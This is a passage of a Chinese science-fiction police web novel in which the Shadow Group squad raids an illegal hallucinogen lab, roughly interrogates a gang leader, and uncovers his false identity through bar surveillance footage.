戴维尔显然不赞同，这种危险的行动闻铮永远冲在第一个，挡在他们所有人面前，哪怕现在只有一件防护背心也得给闻铮。 闻铮冷淡地瞥了他和林瑜淞一眼：“穿上。” 就这么两个字，车上的三个人再不赞同也不敢置喙，林瑜淞递了一件给前面的江悦。 江悦一边穿一边说：“我查了一下系统里面但丁的地址，是西3区的一处老屋，他名下没有任何其他房产。” 7号星球分为东西南北四个大区，每个大区中又被划分为5个数字区，其中东和西是旧城区，南和北是新城区。 闻铮在瞬时之间做出了判断：“他不可能在老屋里制备这批非法致幻剂，旧城房屋搭建的时候遵循的还是德瓦殖民时期的建筑条例，同一联排的房屋通风管道是相通的。如果他在这里制备，过程中产生的毒气和异味早就让那一排房屋的人大批量进医疗舱了。” 他看了一眼江悦：“再找。” 江悦没有着急地盲目寻找，而是重新思考了半分钟闻铮的话，在但丁和所有系统中腾蛇帮派成员名下进行搜索，关键条件设定为独立管道、独立房屋、并且有过邻居投诉异味的房产。 再一分钟，江悦报出了一个地址，是西4区的一个相对偏远的独立废弃厂房：“……只有前门和后门两个出口。” 闻铮立刻在下一个路口变道，一边转方向盘一边道：“做得好。” 江悦圆圆大大的眼睛立刻变得亮晶晶，连那两个小鹿角好像都挺的更精神了。 戴维尔在后座好笑地摇摇头，自从闻铮把江悦从凶杀重案组救过来以后，她就把闻哥当成最大的偶像，让往东不往西，让抓狗绝对不撵鸡。 ——可话又说回来…… 他低头看了看自己遒劲右臂上遍布的刺青和疤痕。 闻哥为他们这些人做了这么多，他们谁对闻哥不都是这样的吗？ 闻铮把悬浮车降落回路面交通，评估了一下时间：“五分钟后到，瑜淞和我从前门进，戴维尔和江悦抄后门。” 三个人应下，林瑜淞的通讯轻轻震动了一下，他低头看了一眼：“池检察官把搜查令和逮捕令下发了。” 闻铮嗯了一声，想想又补充道：“进去以后在不清楚是否在制备过程中先不要开枪，以免损伤相关证据。” 洛河星系的落后度可见一斑，星际舰队的光子相位枪可以调节档位，从击晕、击伤、击毙到最高档的生物击碎都可以按照实际需求调节，而7号星球还在用基础的相位枪，仅能击毙，没有任何其他选项。 饶是闻铮，刚回来的时候也着实适应了好一段时间这种落差。 五分钟后，悬浮车悄无声息地停在了一个破旧荒废的仓库大门前。 闻铮把相位枪拿好，又揣了一块能量补充仓，和大家一起看了两分钟建筑图，在确保都记得地图后，就示意行动开始。 闻铮和林瑜淞对视一眼，两个人身形矫健地朝前门摸去。 走到暗红色的门前，闻铮吸了两下鼻子，低声问：“你闻到了吗？” 林瑜淞嗅了一下，点头：“酸臭味。” ……闻起来像厕所炸了，怪不得有人投诉。 “这个仓库的地下一层很空旷，大概率会被用来制备。”闻铮道，“两个楼梯分别在前门和后门三十米处，你守在这里以免有人趁乱跑了。” 林瑜淞欲言又止。 正常来说这种危险行动他们不能落单行动，如果不可避免仅剩单人，不允许进入危险区域，只能在外围机动。凯利斯被欧睿的案子耗着，门口又必须有人守，所以他一定要留在这里，那就意味着，闻铮要一个人下去。 但他知道，他拦不住闻铮，没人能。所以他只是低低道：“闻哥，小心。” 闻铮颔首，他对耳朵里的隐形联络耳麦下达了指令：“戴维尔，江悦，破门！” 话音未落，他抬腿一脚踹开了暗红色的正门！ “砰——”的两声传来，正在地下一层带着实验眼镜和面具的五六个人同时一惊！ 在他们反应过来之前，一个阴鸷男人立刻站起来，他的脖颈处覆盖着薄薄一层鳞片，他一边从后腰掏出枪，一边威胁房间里的其他人：“谁敢多说一个字，你们全家就和你们一起死！” “暗影组！都趴下！” 严厉的声音从1号楼梯处传来，没有武器的剩下几个人立刻下意识地举起手来投降，阴鸷男人朝地上啐了一口，显然心一横，朝着2号楼梯跑去。 戴维尔大吼：“他要跑！江悦！” 江悦立刻朝但丁疾冲过去，她保留着鹿的部分习性，跑的比常人都快，可但丁本来离2号楼梯就很近，三步并作两步就马上踏出了楼梯！ 江悦怒骂一声，刚要拼死加速追上去，就看到但丁原本狂奔的身影突然僵住——她松了口气卸了劲，是闻铮。 但丁在马上要跑到地面的前一秒，倏地感到前额一凉。 下一刻，他的视线里出现了一个黑发黑眼的瘦削男人，而黑发男人手里的枪口正正抵住了他的眉心。 他被用枪抵着头一步一步地从楼梯上逼退回地下一层，眼前这个衣领拉到下颌的黑发男人冷冷道：“跪下。” 但丁怒目圆睁：“滚！你要么就一枪杀了我，老子绝不给你下跪——啊！！” 他的狠话还没放完，眼前这个瘦削的漂亮男人就一脚踹在了他的右腿膝盖骨上，膝盖一软，但丁下一刻就从楼梯上滚了下去。 闻铮居高临下地瞥了他一眼，把枪收了起来：“瑜淞，局势已被控制，你可以进来了。” 耳麦里传来林瑜淞的收到，闻铮走下楼梯，路过但丁的时候面不改色地一脚踩过他的脚踝，随着他的惨叫和骨头的错位声，闻铮淡淡道：“小心点，从楼梯摔下来很容易把膝盖和脚踝摔伤的。” 但丁疼得声音都发不出来，房间里其他正举着双手投降的几个人都看傻了。 闻铮示意戴维尔和江悦把这些人铐起来，人数有点多，戴维尔通过通讯向调度中心请求巡逻执勤队支援，耳麦那边五秒后就传来了罗斯警长的机械二重音：“收到，巡逻执勤队303将在两分钟后抵达。” 闻铮没管他们，从怀里拿出一副手套戴上，开始观察这个简陋的制备工厂。前几张桌子上都是非法致幻剂常见的一些化学原料，他没多在意。而在最后一张桌子上，有一个正发着蓝光的无菌舱。 他走近无菌舱，没有敢轻率地打开，而是拿起了旁边散落着的零星几棵——草？ 闻铮眉心微动，他手里是一株平平无奇的小草，通身淡绿色，只在草头上有一小朵三瓣蓝的花瓣包围着紫色的花蕊。 “——蓟梨草？” 林瑜淞走到他旁边，有些惊讶：“这不是在7号星遍地都是的东西吗？”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 6、第6章 小白脸 闻铮打量着手里那棵蓟梨草，林瑜淞说的没错，这种草遍布7号星球，在不起眼的角落疯长，闻铮自己在小时候还经常揪来玩，后面被他的父母禁止这种幼稚行为了。 但丁在致幻剂中添加蓟梨草，还把它们放进无菌舱里，这是相当看重这些野草的表现了，为什么？ 闻铮回头看了一眼但丁，后者正被人高马大的戴维尔从地上薅起来，即使他身形也相对高大，但在a级alpha的戴维尔面前还是显得没有什么还手之力，更别提他的膝盖骨和脚踝现在还都碎了。 在短短的交锋之中，闻铮已经对但丁有初步的判断。 这个人虽然能在街头帮派混得一席之地，但骨子里并没有相匹配的能力和心志。更何况，如果他只是出于增加效果或利润的目的，在致幻剂里添加一些其他的已知化学成分或者哪怕白糖都说得过去，但蓟梨草？还用无菌舱保存？ 这显然不是但丁能想出来的。 闻铮吩咐林瑜淞：“让鉴证组再分析一次这批非法致幻剂的成分，这次有原料和半成品了，看他们能不能有新的发现。” 林瑜淞点头。 但丁看到闻铮朝他走来，恨的咬牙。 他的右膝盖和右脚踝都碎了，只能靠左侧身体保持站立，而始作俑者还像无事发生一样走到他面前，举起了三根手指。 闻铮垂眼看着佝偻的但丁：“我有三个问题，并且我希望你可以乖乖给我解答，否则我们两个就有得好聊了。” “第一，为什么在致幻剂中加入蓟梨草？它的功效是什么？” “第二，谁告诉你的这个方式？” “第三，除了你和你的帮派成员，还有谁参与其中？” 但丁朝他吐了一口唾沫：“小白脸，给老子滚！” 话音未落，戴维尔钳制住他的胳膊就立刻发力，但丁惨叫一声，闻铮面不改色，一脚踩上他的左脚踝，把他仅存完好的左脚踝也踹碎了：“你需要小白脸再问一遍吗？你做的这一批货让很多人都死了，我没有耐心跟你玩假装友好的游戏。” 但丁脖子上的鳞片都疼到乍开，但他依然没有松口，而是一字一句：“我要律、师！” 闻铮微微眯眼，但下一秒楼梯上方传来了声音：“巡逻执勤队303已到达！闻指挥官，我们是否可以下去？” 闻铮移开了狠狠踩在但丁左脚踝上的脚，扬声答：“可以，下来吧。” 但丁疼的委顿在地，巡逻执勤队303的队长下来以后看到这一幕愣了一下：“他这是……？” 闻铮哦了一声：“他运气不好，拘捕的时候从楼梯摔下来了，膝盖和脚踝都摔碎了。” 巡逻执勤队队长恍然大悟，对但丁摇摇头：“你说你何必呢。” 闻铮也对但丁轻轻一笑：“是啊，你何必呢。” 但丁抬头看着这个比街头帮派手还黑的黑发指挥官，他笑起来的时候右颊甚至有个小小的梨涡，然而这种甜美的特质在他脸上却让人感到无端的汗毛直立。 “这里的人都交给你们了，”闻铮对巡逻执勤队点了点头，“押送到东3区就行了，辛苦。” 等闻铮走开后，巡逻执勤队的一个刚入职没多久的新警官凑过来问队长：“刚刚那个就是传闻中心狠手辣的暗影组指挥官？我听说他……” 他压低了声音：“……我听说他不干净，而且怎么每次我们来协助暗影组的现场，犯在他们手里的人都这么倒霉？不是这儿摔了就是那儿伤了——” “嘘！” 巡逻执勤队队长一巴掌扇到他头上：“这话也能乱说？” 但他还是比较喜欢这个新人的，还是小声说了：“他是三年前突然出现在这里的，手段狠厉行事毫不留情，这些传言一早也就有了，上头既然都能留他，还愿意为了他重启暗影组，自然是有利用价值。更别提除了他，他队里的人也没一个干干净净的，这趟浑水你少掺合！” “再说了，”巡逻执勤队队长补充道，“暗影组一向是追查和德瓦人有关系的线索，被抓的都是德瓦势力，伤成什么样都是活该！” ……这倒是。 新警官摸了摸头，啧了两声，庆幸自己没在闻铮手底下做事，不然哪怕是心腹，有这样的上司，一天上班不得大气都不敢出。 …… 而此刻，大气都不敢出的心腹正蹲在西4区的一个巷子里，仔细观察着案发现场的环境。 凯利斯摸了摸下巴：“这也没有人工电子眼啊。” “这附近街头上没有公共人工电子眼的。”裴简珩刚从附近也绕了一圈回来，出声道：“不过我发现前面有几家酒吧，他们有私人电子眼。” 凯利斯耸肩：“但他们未必会分享给我们，可以利用一些个魅力去试试，在旧城区，他们对政｜府和执法人员的态度一直比较防备，暗影组可能好一点，但也需要一定的聊天技巧。” 他上下打量了一下裴简珩，饶有趣味：“我觉得你比较擅长这种利用个人魅力的方式。” 银发alpha闻言挑眉：“我也觉得。” 五分钟后，“夜虹”酒吧的门被推开了，站在吧台后面的酒保头都没抬：“没人大早上喝酒，我们晚上七点营业。” 所以你们现在可以转身推门出去了。 “我们不是来喝酒的。” 一个温润的声音传来，酒保闻声看去，一个银发蓝眼的俊美青年正站在他面前，微笑地看着他。 酒吧老板兼酒保是omega，他能闻到这个人身上强大的alpha气息，但奇怪的是却没闻到和这种气息匹配的信息素。 他本来就更喜欢男人，看到这种天菜突然出现在自己面前，眼前一亮，当然乐于多和他说几句：“哦？那你是来干什么的？” 他把手里正在擦拭的空酒杯放下，用手肘撑在吧台上靠向对面的裴简珩，很明显带了挑逗的意味：“我现在有空，一会儿也有空，你有没有兴趣？” 凯利斯在旁边憋笑，摸了摸鼻子看热闹。 裴简珩向后一步，彬彬有礼，出口的话却说的毫不留情：“抱歉，我对你丝毫不感兴趣，我只对你店里的人工电子眼感兴趣。” 他的身形笔挺，居高临下地睥睨着眼前的酒保：“既然你现在和一会儿都有空，那就麻烦你把电子眼相关的记录给我们一份。” 酒保无趣地直起身子：“你是警部的人？想要录像记录拿搜查令来。” 显然，当他知道勾搭不上这个alpha之后就懒得配合了。 “当然。” 裴简珩微微一笑：“我不但会带着搜查令来，我还会带着星系消防系统的人来。” 他用通讯拍了一张被杂物堵住的安全出口照片：“这张照片会让你们暂停营业三十天。” 他随手拿开了吧台上一个调酒杯的盖子，里面有两只死掉的虫子：“顺便把星系食品安全系统的人也带来。” “如果我再说下去，”裴简珩用指尖轻点桌面，“下一步就是星系税务系统的人一起来，你和你的店一起暂停营业三十天。” 酒保：“……” 面对着瞠目结舌的酒保，裴简珩笑容不减，眉弓下方的阴影却让他在三分温柔中夹糅了七分危险。 “另外，我不是警部的人，我隶属暗影组。” “现在，可以请你把录像给我了吗？”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 7、第7章 你还挺关心闻哥的 五分钟后，裴简珩走出了酒吧，电子眼录像的文件静静躺在他手腕上的通讯里。 凯利斯一边打开车门，一边摇头一边笑：“不是用态度好一点的方式吗？” 裴简珩眨眨眼：“我态度不好吗？” 凯利斯一噎。 态度确实好，温文尔雅彬彬有礼，一看就是有良好家教的上层贵族少爷，威胁的话却也没有丝毫含糊，精准地抓到酒吧老板的薄弱命门。 凯利斯不得不承认，这是他没想到的。 他本来以为裴简珩作为一个此前没有任何经验的新人，只会循规蹈矩地进行询问，能把信息套出来已经很不错了。 出乎意料，确实出乎意料。 他摸了摸下巴，某种意义上，他这种白切黑还挺适合暗影组的，可惜闻哥不要他。 坐上车后，凯利斯发动了悬浮车，进入人工驾驶模式，漫不经心：“让你见笑了，这里的科技没有主星系发达，悬浮车的速度也就这样了。” 裴简珩笑：“起码还能上高空。” 凯利斯不动声色地打探：“你从主星系过来，会不会不适应？” “一开始会。”裴简珩道，“慢慢就好了。” 凯利斯哦了一声：“你来很久了？” 不是昨天刚报道吗？ “总要提前来准备一下，房子和车也要买，基本的环境还是要适应了再来入职的。” 裴简珩说的云淡风轻，把凯利斯哽了一下。 果然是空降的关系户，房子和车说买就买……就没考虑过可能不适应、不喜欢、留不下，这么决绝，关系到底是有多硬！ “怎么想到要来暗影组？”凯利斯顺着问，“虽然曾经的暗影组在驱逐德瓦人一事上功不可没，巅峰时期甚至直属联邦星际舰队，但这些年确实已经逐步没落，甚至出了洛河星系都没几个人知道了。” 裴简珩好像没听出他在打探，有问必答：“机缘巧合。” 但回答的滴水不漏，态度很配合，说了却好像又什么都没说。 下一秒，他也抛出了问题：“我看指挥官今天早上好像心情不好，脸色也不好，有什么需要我注意的吗？” 凯利斯：“……” 你这么一个不定时炸弹“咻”的一下出现在这里，他能心情好才怪呢。再加上失调的激素和药物影响，闻铮半个月都睡不上一个好觉。 腹诽归腹诽，他还是打哈哈道：“估计昨天晚上又没睡好，他一般上午缓不过来心情就会比较阴沉。但他也不会乱发脾气，你少在他面前转悠就行。” 凯利斯在后视镜里看到裴简珩眉头微皱，下一秒又立刻松开，快到好像是他的幻觉。 “……他经常睡不好吗？”裴简珩的声音低了几度，轻声问。 凯利斯一顿，他这个人虽然平时有些混不吝的，但直觉一向很准，他总感觉裴简珩的态度有些奇怪，存了一些替闻铮试探的意味，他道：“压力大吧，总会有点睡眠问题——” 他从后视镜里一眨不眨地注视着裴简珩的脸，希望从他的表情上捕捉到不同寻常的波动：“——你还挺关心闻哥的。” 但他失望了。 裴简珩只是温和地笑了笑，还开了一句玩笑：“他可是我的顶头上司，我当然要想方设法讨好他，不然万一试用期不给我通过，我会很伤心的。” 凯利斯：“……” 他转开了目光，不让自己的试探看起来太明显：“哈哈，你别想太多，闻哥不吃讨好这套。” 你自己倒是很清楚不会给你通过试用期哈…… 说着说着就到了东3区，裴简珩和凯利斯回到办公室，闻铮他们还没回来。裴简珩走回自己的工位，他现在坐在凯利斯对面，正对着闻铮透明的独立办公室，能看到里面空无一人。 ——当然，这个安排绝对是故意的，因为闻铮坐在里面也只需要轻抬眼皮就能清清楚楚地看到裴简珩在做什么。 他心里非常清楚闻铮把他放在这里的原因，这种出于不信任和前置假设的敌意不但不让他生气，相反，能被闻铮掌控，能攫取他的关注和目光，让他心里的兴奋感和满足欲即将喷薄而出。 裴简珩收回了目光，眨眼间又回到了那个温和的他。 他把电子眼录像从手腕上的通讯转移到悬浮大屏上，和凯利斯一起看，试图在3d影像中找到欧睿的身影。 凯利斯按下了暂停，指了指“夜虹”酒吧门口：“欧睿。” 左下角的时间戳显示是昨天晚上的凌晨1点23分。 裴简珩放大了画面：“他怀里搂着一个人。” 他再次把画面放大到极限，欧睿怀里是一个穿着白色裙子的年轻女孩，画面经过处理后稍微有点失真，但依稀能看到女孩有两只小小的白色兔耳。 “艾尼默人。”凯利斯喃喃，“……不稀奇。” 裴简珩疑惑地看过去，凯利斯给他解释：“西4区是7号星有名的红灯区，街头帮派也多数混迹于此，因为贩售非法致幻剂和卖｜淫｜罪名被抓捕的罪犯占比也是最高的，而他们之中超半数都是艾尼默人。” 裴简珩注视着屏幕上艾尼默女孩的年轻脸庞，轻声道：“她看上去年纪很小。” 凯利斯也叹了口气。 和联邦其他星系相比，7号星确实很落后。但在7号星内部，阶级的分化也很明显。艾尼默人虽然也在进行平权运动，但这么多年的奴役和歧视，无法在短短几年间被消除，而传统阶级的固化也很难实现快速的跃迁，至今一些底层的职业依然以艾尼默人为主要劳动者。 裴简珩仔细地看着三维录像，在心里分析着欧睿的动线。 他于午夜0点13分独自进入“夜虹”酒吧，又在凌晨1点23分搂着一个艾尼默女孩出来，在门口还和熟人打了个招呼，摇摇晃晃地朝他的悬浮车走去。 裴简珩能从录像中隐隐约约地看到他在车里和艾尼默女孩亲热，十分钟后他发动了车，朝案发现场的巷子开过去，车子停在巷子里面，开始微微晃动。 再十五分钟后，那个艾尼默女孩从车子上下来，浑身是血，迷茫地站在原地愣了半分钟，跌跌撞撞地朝另一个方向跑去，上了另一辆车，逐渐驶离“夜虹”的电子眼范围。 凯利斯皱眉：“看样子，这个艾尼默女孩脱不了干系。” 车里一共就俩人，一个人死了，另一个人浑身是血地跑了，这案子看上去也未免有一点太简单了吧？ 别说三天，明天把人找到这不就结案了？ 裴简珩也觉得有点简单得过分了，他放大了艾尼默女孩的脸，因为技术限制，虽然肉眼可以模模糊糊看到五官，但技术层面上并不足以达到能匹配的清晰度。 他心里总感觉隐隐的不对劲，但又说不出来具体是哪里。 这时候办公室的门被推开，裴简珩和凯利斯转身看去，是闻铮他们抓着人回来了。 巡逻执勤队303的队长把但丁转交给了江悦，江悦把他押去暗影组专门的审讯室。闻铮低头和执勤队长说了几句话，裴简珩的目光从闻铮的身上落到执勤队队长，又落在他押着的但丁身上。 ——他神色一冷，转身操作倒退电子眼录像。 闻铮一边朝指挥官办公室走去，一边嘱咐：“戴维尔、江悦，你们负责那几个制备的；瑜淞，一会儿你和我审但丁，你先看他在系统里有什么案底，最近都和谁见过——” “我见过他。” 裴简珩的声音突然响起，闻铮收声。 他抬眼向这个第一天入职的alpha看过去，闻铮的眼神一向凌厉，裴简珩却没有任何闪躲和退缩，只是迎着他的目光微微一笑。 闻铮问：“你见过但丁？什么时候？” 裴简珩道：“刚刚。” 他把悬浮光屏转过来，推到了闻铮眼前。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 8、第8章 你和我去 闻铮看向被裴简珩推到面前的悬浮光屏，上面是一段三维录像。正从酒吧里走出来的人是已经死透了的欧睿，他怀里还搂着一个人，他一边往外走，一边和另一个脖子上有薄薄鳞片的艾尼默人打招呼。 ——但丁。 他们两个怎么会有联系？ 欧睿是7号星下一任准星长的儿子，可以说是在这个落后星系里资源最好的一批人。而但丁只是一个混迹于街头的小型黑｜帮头目，他们之间的关系理应为没有关系，怎么会这么熟稔地打招呼？ 闻铮一边皱眉，一边用右手指尖轻轻敲打右腿外侧，这是他思考时无意识的小习惯，裴简珩扫过去一眼，很快收回了目光，快到闻铮都没感受到他的视线。 “准备一下，十五分钟后去和但丁聊聊。”闻铮很快做出了决定，他把那双漆黑的眼睛移向了裴简珩，“你和我去。” 所有人都是一愣。 林瑜淞反手指向自己，那意思——五分钟前不说还是我去吗？ 凯利斯对他耸了耸肩。 毕竟涉及到欧睿，闻铮可能也想有一个欧睿案子的视角进入，至于为什么是裴简珩而不是他…… 凯利斯对林瑜淞使了个眼色，两位搭档这么久，非常默契，后者立刻明白凯利斯是要他一起去观察室的意思。 裴简珩应了一声，他目送闻铮进了指挥官办公室，通过透明玻璃他能看见他的上司在揉着太阳穴，看来睡眠问题确实影响着他，只是他在所有人面前都藏了下去。 他静静地看了一会儿闻铮，在自己的工位上坐下来打开悬浮屏。 这一切不会很顺利，他在迈出这一步的时候就知道。 闻铮不可能喜闻乐见地接受他，他也没指望能一蹴而就。 但他确实没想到会麻烦到这个地步，闻铮甚至连一点机会都不愿意给他，只想把他尽快打发走。 裴简珩也小小地苦笑起来。 看得出来，他还有很长的路要走啊…… …… 一刻钟过得很快，裴简珩跟着闻铮走向审讯室，审讯室的门是虹膜认证的，在检测过闻铮的瞳孔之后自动打开，但丁正面无表情地坐在里面，没什么担心的神色，甚至有些百无聊赖。 “刚才我问你的三个问题，你想得怎么样了？” 闻铮坐到他对面，不紧不慢地把右腿翘到了左腿上：“十分钟内开口，我可以和检察官商量提供一个还不错的控辩交易，十分钟后，过时不候。” “我没什么好说的，”出乎他们意料，但丁的态度几乎算得上配合，“都被你们抓现行了还有什么好扯的？这一批致幻剂确实都是我做的，没话好说，给我找个该死的律师就他妈得了！” 但丁梗着脖子和闻铮挑衅，裴简珩盯着他脖子上的鳞片，眼睛一眨不眨。 闻铮余光瞥见了没当回事，只当他刚来洛河星系没见过艾尼默人，听到但丁的话，他收回余光冷笑：“你做的？” “你一个连初中都没毕业就混迹街头的人，你分得清什么是萃取和提纯吗？阿司匹林的药剂合成你都不会做，没有别人的指导你能改变致幻剂的成分和药效？” 但丁咧开一个让人很想一拳揍过去的笑容：“初中没毕业我也认字，星网上全是教程，很难吗？” 这句挑衅的话一说出来，但丁已经做好了又被眼前的黑发男人动手的准备了，出乎他意料，闻铮动都没动，只是抬起眼皮瞥他：“星网上可没有教程教过在致幻剂里添加蓟梨草，你是怎么想到的？” 但丁闭嘴，颇为不自在地小动作挪动身体，撇撇嘴：“这破玩意儿路边不是到处都有？随手拿的做实验而已。” 闻铮把右腿抬起来，踩着面前桌子的边缘慢慢地往对面推，直到桌子另一端死死把但丁抵死在墙上，让他呼吸都困难，喉咙里发出“嗬嗬”的声音。 这已经超出了正常审讯的范畴，但哪怕审讯室里有人工电子眼，闻铮也根本不在乎。 他腿上使力，声音却没有波动：“你以为我没查过吗？你手里出去的货价格很低，根本没有利润，你绝对不是为了挣钱。如果你不把背后的人供出来，死了的这些人都会算在你头上，那就是死刑。” 但丁即使到这个地步，还是咬着牙，一个字一个字往外挤：“我、要、律、师！” 闻铮俯视着这个被他逼到墙上，宛如一滩烂泥一样的人，松了腿上的力气，但丁立刻把桌子推开，疯狂咳嗽。 他收回腿，不经意地一抬眼，却看到原本坐在他旁边的银发男人已经站了起来。 闻铮朝他看去，这是裴简珩第一次看到他的行事方式，他虽然眉头微皱，但全程什么都没说，只是沉默地站了起来。 他站的角度很刁钻。 闻铮微微偏头，才看到他背后的电子眼。 ——裴简珩，在替他的越线行为遮掩。 闻铮几不可见地轻轻搓了搓拇指和食指。 这个空降的关系户是在通过这种方式隐晦地拍他的马屁吗？ 但当务之急不是思考这件事，闻铮好似没注意裴简珩的表现，只是对他抬抬下巴：“你问吧。” 裴简珩嗯了一声，伸手把一张照片从通讯上调出来，放在但丁面前：“你认识他？” 但丁咳得昏天黑地，好不容易缓过来，看了一眼照片上搂着兔子艾尼默人的男人，没什么印象：“……不认识。” “撒谎。” 平静温润的声音传来，但丁眉心一跳，他闻声看去，是当时和闻铮一起进来的银发男人，但他当时全身心注意力都在闻铮身上，没注意到这个眉目深邃的高大男人。 “咳咳——我真的不认识他！” 但丁从这个alpha身上没有感受到那种令他恐惧的危险气息，相对放松了一些警惕。 裴简珩把三维悬浮屏放大推到但丁面前：“他死了，而你在他死之前一个小时内和他在酒吧门口打过招呼。” 但丁皱眉，他凑近仔细地看，想了半天，还是摇头：“我对他没什么印象，可能只是在酒吧里凑巧遇到过几次吧。” 不涉及到致幻剂的问题，他倒是挺配合。 裴简珩又指了指兔子艾尼默女孩：“这个女孩呢？认识吗？” 但丁又看了看，还是摇头：“不认识，酒吧里好像见过几次，也没什么印象。” 闻铮在一边安静地观察着整个过程，但丁的态度明显比方才更配合，可能是因为和他确实没什么关系，但这也证明欧睿的案子进入了僵局。 他正等着看裴简珩下一步如何破局，这是他评估裴简珩能力的第一步。 裴简珩关掉了悬浮屏，没有再说话。 闻铮有些失望，不知为何，他总觉得裴简珩的能力不仅于此。但他也没说什么，只是问：“你还有别的问题吗？” 裴简珩侧头对他笑了一下：“只有一个小问题，指挥官。” 闻铮示意他有问题就问。 裴简珩缓缓靠近了但丁，盯着他那双还有着蛇类一点点竖瞳迹象的眼睛，轻声问：“你到底是谁？”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 9、第9章 做得很好 此话一出，审讯室和隔壁观察室的两个人都是一怔。 闻铮微微蹙眉，他朝裴简珩看去，这个新下属正微微倾身，那双蓝眼睛一眨不眨地盯着面前的但丁，在问出那句话后他没有再着急地追问，而是耐心地等待着但丁的反应。 而但丁—— 他的脊背一下子挺直，眼底闪过一丝紧张，闻铮能看出来他的肢体语言一瞬间改变，刚才谈到欧睿时候他还很放松，现在整个人都变得更加紧绷和防御。 “……我不知道你在说什么。” 但丁粗声粗气地回答，移开眼神：“我的身份你们不是已经在系统里查得一清二楚了吗？” “你没有回答我的问题。” 裴简珩并没有被他绕进去，冷静地指出：“请不要用问句来应对我的问题，我要的是答案而不是反问。” 但丁猛地一拍桌子：“你发什么疯？！” 裴简珩直起身，淡淡道：“系统里显示你的名字是但丁.洛佩斯，艾尼默蛇属人，初等教育学历。但我查了你的实际生活轨迹，你是五年前突然出现在7号星的，在此之前没有你的任何生活迹象，无论是消费记录还是居住记录。” 但丁闻言却好像松了口气，他嗤了一声：“我在瑞克斯监狱。” “十年刑期，一级抢劫杀人罪名。”裴简珩笑了一下，“听起来很合理。” 他倏地出手，速度快到在场所有人都没反应过来！ 裴简珩左手按住但丁胸口，右手快如闪电般掀开了但丁右侧脖颈上的薄鳞片，所有艾尼默人的动物残留表征都非常敏感脆弱，但丁下意识地暴起反抗，却被裴简珩一只手就控制得动弹不得！ 他惊骇地看向这个高大的银发alpha，显然是没想到他有如此骇人的力气！ 他有a级吗？不，s级都没有这种体能吧？！ 7号星会有等级这么高的alpha吗？！ 但裴简珩的目的并不是为了对但丁动手，他只是为了验证自己的猜想，所以他很快收回了右手，挑了挑眉：“瑞克斯监狱的规定，所有因为一级重罪类罪名入狱的罪犯都会在右侧脖颈处印上瑞克斯监狱标志的刺青——你的刺青呢？” 闻铮听到这里，表情终于有了变化，他站起来朝但丁脖颈右侧看去，鳞片下面的皮肤一片光洁，根本没有任何刺青或清洗痕迹。 他眉心微动，一方面感觉这个非法致幻剂的事情并没有这么简单，另一方面也对裴简珩有些……另眼相看。 这是裴简珩第一次接触但丁，而他在刚见到他五分钟的时候就盯着他脖子上的薄鳞了，难道那个时候裴简珩就已经意识到有问题了？ “瑞克斯监狱的刺青是军方特殊技术，无法被私自移除，”银发蓝眼的alpha在确定闻铮看到以后就收了手，给出了结论，“你不是但丁.洛佩斯。” 这位不知真假的“但丁”咬牙，半晌只说了一个词，就是律师。 除此之外，他一个字都没有再说过。 …… 踏出审讯室，闻铮靠在走廊的墙边：“你刚来7号星，怎么会知道瑞克斯监狱的刺青规定？” 裴简珩笑笑，指了指手腕上的通讯：“和您查了这批货的价格与利润一样，我也做了功课。” 闻铮看着他那双漂亮的蓝色眼睛，点了点头没说什么，只是在和他擦身而过的瞬间轻声道：“……做得很好。” 裴简珩怔住。 闻铮的声音好像被放大无数倍地在他耳边环绕，他从没想过以这种方式接近他的自己，能在第一天就得到他的一句肯定。 而在闻铮和他擦身而过的同时，他也闻到了指挥官身上那种淡淡的、犹如冷空气一般的气息。他不知道这是闻铮的信息素还是他身上的香味，他只知道这个气息闯进了他的鼻腔里，以及他的……腺体里。 裴简珩喉头滚动了几下，等他猛地转过身去的时候，闻铮的身影已经不见了。 …… “我能进来吗？” 闻铮刚回到办公室，门就被敲响，闻铮听到凯利斯的声音，头都没抬：“进。” 凯利斯踏进他的独立办公室，回手把门关上：“哟，这个人可不简单。” 闻铮把面前的悬浮屏关上，示意凯利斯坐下：“我知道，所以我才让你盯着他，我不希望有一个不定时炸弹在我的团队里。” “我倒是没有感受到他的敌意。”凯利斯坐下，“坦白说，我觉得他很聪明，能力也很强，他肯定是个等级很高的alpha。” 闻铮没什么表情：“这就是问题所在，他这样的人，会选择使用特权来到这个地方，这里一定有他想要的东西。我需要知道他要的是什么，我才能把他掌控在手里，从而降低他可能带来的风险。” 凯利斯没有质疑闻铮，他也不会质疑闻铮，他做了闻铮三年的大副，在他的人格魅力之下，凯利斯会无条件地服从闻铮的任何命令。 他转而说：“我和瑜淞刚刚在观察室，看到里面发生的事情了。” 闻铮饶有趣味地问：“你们怎么想？” “截止审讯之前，我可以给他的表现打a，”凯利斯说，“看完那场审讯，我可以打a++。” 闻铮又问：“瑜淞呢？” 凯利斯：“瑜淞打b+。” 闻铮点点头：“瑜淞都能打b+，看来是还挺认可他的。” 凯利斯：“……” 凯利斯怒：“你什么意思啊！我的打分不值钱吗？” 闻铮：“你的打分太通货膨胀了，上次那个蠢到忘记带相位枪的巡逻执勤队新人你都打了b+。” 凯利斯：“……” 凯利斯翻了个白眼。 闻铮独有的这种冷幽默和毒舌他倒是也已经习惯了。 修长的手指轻轻敲了敲桌子，闻铮把话题拉回他最关心的方面：“你感觉他认出我了吗？” 凯利斯犹豫了一下，还是摇了摇头：“说不好，我感觉他应该是不认识你，但对你挺感兴趣的，不然也不会迂回地打探你的情况。” 闻铮喝咖啡的手顿了一下：“他打探我？” 凯利斯嗯了一声，有点好笑：“他说他得讨好你，不然怕自己不过试用期。” 闻铮：“……” 他倒是没想到会有人把讨好上司这种事情直接说出来。 “不过，其实我感觉，”凯利斯收起笑容，正色道，“你可以自己和他相处看看，留还是不留，下一步怎么做你会有更清楚的决断。” 闻铮挑眉：“我怎么感觉你还挺希望他能留下来的？” “我不在乎他是走是留。”凯利斯摇头，“但我不希望你和上面不管是警部和军部的人再起冲突，你要做的事情还没做完，这个时候横生枝节不是好事。” 闻铮思考了一会儿，也没再说什么，凯利斯知趣地出去了。 他从被玻璃包围的指挥官办公室看出去，整个暗影组的公共办公区被他收入眼底，尤其是裴简珩所在的位置。 